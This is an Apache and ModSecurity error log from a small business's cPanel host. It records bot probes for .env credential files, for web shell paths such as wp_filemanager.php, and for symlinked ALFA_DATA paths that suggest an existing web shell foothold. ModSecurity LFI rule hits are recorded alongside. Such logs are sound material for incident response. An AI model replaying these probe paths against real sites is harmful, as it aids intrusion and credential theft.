[Sat Oct 24 13:43:18.356851 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.162.69.192:26288] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:43:19.248342 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 85.208.96.209:42668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:43:38.332516 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 85.208.96.206:50682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:43:42.483905 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 3.94.156.104:63885] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:43:48.024283 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.232.36.1:16026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:44:05.829452 2026] [security2:error] [pid 2677786:tid 2677786] [client 85.208.96.206:30694] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento17/php82/install.php"] [unique_id "atzuZYQ_eexIMgmxi-uQagAAAAE"]
[Sat Oct 24 13:44:05.829501 2026] [security2:error] [pid 2677786:tid 2677786] [client 85.208.96.206:30694] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/magento17/php82/install.php"] [unique_id "atzuZYQ_eexIMgmxi-uQagAAAAE"]
[Sat Oct 24 13:44:06.505742 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 98.84.184.80:60529] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:44:22.379982 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 44.217.255.167:34294] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:44:26.602210 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 85.208.96.211:19776] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/order
[Sat Oct 24 13:44:34.312417 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.145.82.217:27877] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:44:38.489094 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.90.73.206:39198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:44:54.393103 2026] [ssl:error] [pid 2677843:tid 2677843] (5)Input/output error: [client 34.231.156.59:43897] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:44:58.745246 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 100.28.118.16:49486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:45:14.651523 2026] [ssl:error] [pid 2677787:tid 2677787] (70014)End of file found: [client 98.83.178.66:55382] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:45:18.588209 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.235.215.92:41985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:45:22.445293 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 35.174.141.243:43287] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/remove_id
[Sat Oct 24 13:45:26.465059 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 98.82.40.168:18796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:45:30.184138 2026] [security2:error] [pid 2677775:tid 2677775] [client 146.70.130.137:42522] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzuug5nrLV5krwbFOTwnwAAAA4"]
[Sat Oct 24 13:45:30.184370 2026] [security2:error] [pid 2677775:tid 2677775] [client 146.70.130.137:42522] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzuug5nrLV5krwbFOTwnwAAAA4"]
[Sat Oct 24 13:45:30.184668 2026] [security2:error] [pid 2677775:tid 2677775] [client 146.70.130.137:42522] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzuug5nrLV5krwbFOTwnwAAAA4"]
[Sat Oct 24 13:45:30.784483 2026] [security2:error] [pid 2677788:tid 2677788] [client 146.70.130.137:13554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzuumHlETSj29Thy_T6YwAAAAM"]
[Sat Oct 24 13:45:30.784712 2026] [security2:error] [pid 2677788:tid 2677788] [client 146.70.130.137:13554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzuumHlETSj29Thy_T6YwAAAAM"]
[Sat Oct 24 13:45:30.785030 2026] [security2:error] [pid 2677788:tid 2677788] [client 146.70.130.137:13554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzuumHlETSj29Thy_T6YwAAAAM"]
[Sat Oct 24 13:45:32.538452 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 85.208.96.206:13476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:45:33.121660 2026] [ssl:error] [pid 2677787:tid 2677787] (70014)End of file found: [client 85.208.96.206:13492] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:45:38.235085 2026] [security2:error] [pid 2677773:tid 2677773] [client 146.70.130.137:22860] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzuwpEknkbZNLYoFZ9cIwAAAAY"]
[Sat Oct 24 13:45:38.235346 2026] [security2:error] [pid 2677773:tid 2677773] [client 146.70.130.137:22860] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzuwpEknkbZNLYoFZ9cIwAAAAY"]
[Sat Oct 24 13:45:38.235663 2026] [security2:error] [pid 2677773:tid 2677773] [client 146.70.130.137:22860] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atzuwpEknkbZNLYoFZ9cIwAAAAY"]
[Sat Oct 24 13:45:38.767844 2026] [security2:error] [pid 2677842:tid 2677842] [client 146.70.130.137:8027] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzuwp3ucYdH-en2mI_C4gAAAAQ"]
[Sat Oct 24 13:45:38.768101 2026] [security2:error] [pid 2677842:tid 2677842] [client 146.70.130.137:8027] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzuwp3ucYdH-en2mI_C4gAAAAQ"]
[Sat Oct 24 13:45:38.768358 2026] [security2:error] [pid 2677842:tid 2677842] [client 146.70.130.137:8027] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atzuwp3ucYdH-en2mI_C4gAAAAQ"]
[Sat Oct 24 13:45:54.373736 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 3.89.170.186:24318] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:46:05.162035 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 185.191.171.11:44378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/order
[Sat Oct 24 13:46:10.369614 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.156.248.117:27771] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:46:18.168227 2026] [authz_core:error] [pid 2677786:tid 2677786] [client 192.241.134.160:37092] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sat Oct 24 13:46:22.638031 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.83.56.1:34864] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:46:42.438292 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.1.106.130:48292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:46:43.169582 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 185.191.171.15:15176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:02.648313 2026] [ssl:error] [pid 2677787:tid 2677787] (70014)End of file found: [client 54.167.32.123:57916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:15.328181 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 44.206.65.8:7702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.1/subsystem/slots/25/module/uevent
[Sat Oct 24 13:47:18.698696 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.210.155.69:48039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:20.616006 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 185.191.171.5:35212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack/sanity_checks
[Sat Oct 24 13:47:22.565068 2026] [ssl:error] [pid 2677787:tid 2677787] (70014)End of file found: [client 54.85.7.119:31786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:26.513441 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 44.195.145.102:16835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:01/subsystem/devices/device:0a/subsystem/drivers/pvpanic/bind
[Sat Oct 24 13:47:30.482990 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 34.226.89.140:47966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/driver/0000:00:03.0/resource1
[Sat Oct 24 13:47:33.157531 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 85.208.96.202:21524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-2/slab_size
[Sat Oct 24 13:47:34.529296 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 18.211.148.239:50115] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:38.681524 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 100.28.57.133:39874] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:44.451806 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 216.244.66.250:58924] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fd/' is executable
[Sat Oct 24 13:47:44.451853 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 216.244.66.250:58924] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/map_files/' is executable
[Sat Oct 24 13:47:44.451868 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 216.244.66.250:58924] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/fdinfo/' is executable
[Sat Oct 24 13:47:46.982450 2026] [ssl:error] [pid 2677787:tid 2677787] (22)Invalid argument: [client 3.229.95.193:26682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:47:58.781644 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.23.180.225:39610] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:48:02.532763 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 34.233.219.155:31866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0A03:00/device:03/physical_node/rescan
[Sat Oct 24 13:48:11.113495 2026] [authz_core:error] [pid 2677775:tid 2677775] [client 45.79.163.207:25938] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Sat Oct 24 13:48:16.914734 2026] [core:error] [pid 2677842:tid 2677842] (13)Permission denied: [client 85.208.96.204:29980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-64/reclaim_account
[Sat Oct 24 13:48:26.690252 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 3.89.170.186:16084] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:48:31.970667 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 52.73.6.26:37053] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/unbind
[Sat Oct 24 13:48:36.415914 2026] [security2:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp4.sherwinpinturas.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "atzvdGHlETSj29Thy_T6bAAAAAM"]
[Sat Oct 24 13:48:36.415989 2026] [security2:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp4.sherwinpinturas.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "atzvdGHlETSj29Thy_T6bAAAAAM"]
[Sat Oct 24 13:48:36.824523 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:37.210356 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:37.594847 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:38.000821 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:38.465951 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:38.876613 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:39.499890 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:39.885328 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:40.676551 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:41.156640 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:42.142981 2026] [security2:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp4.sherwinpinturas.com"] [uri "/wp-content/about.php"] [unique_id "atzvemHlETSj29Thy_T6eQAAAAM"]
[Sat Oct 24 13:48:42.143018 2026] [security2:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp4.sherwinpinturas.com"] [uri "/wp-content/about.php"] [unique_id "atzvemHlETSj29Thy_T6eQAAAAM"]
[Sat Oct 24 13:48:43.028377 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:43.907700 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:44.297124 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:44.802372 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:45.304690 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:45.305193 2026] [security2:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp4.sherwinpinturas.com"] [uri "/init-notica.php"] [unique_id "atzvfWHlETSj29Thy_T6fwAAAAM"]
[Sat Oct 24 13:48:45.305216 2026] [security2:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp4.sherwinpinturas.com"] [uri "/init-notica.php"] [unique_id "atzvfWHlETSj29Thy_T6fwAAAAM"]
[Sat Oct 24 13:48:46.405530 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:46.762960 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 52.44.174.136:6209] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS0/port
[Sat Oct 24 13:48:46.843343 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:48.166751 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:48.574471 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:48.996341 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:49.479284 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:50.014803 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:50.456828 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:50.896066 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:51.428360 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:51.834886 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:52.219637 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:52.605227 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:53.380345 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:53.780661 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:54.180265 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:54.595269 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:55.105450 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:55.526950 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:55.973984 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:56.366638 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:57.053465 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:57.714732 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:58.111112 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:58.574533 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:58.963441 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:59.430586 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:48:59.836228 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:49:00.252522 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 74.225.203.7:6885] AH01071: Got error 'Primary script unknown'
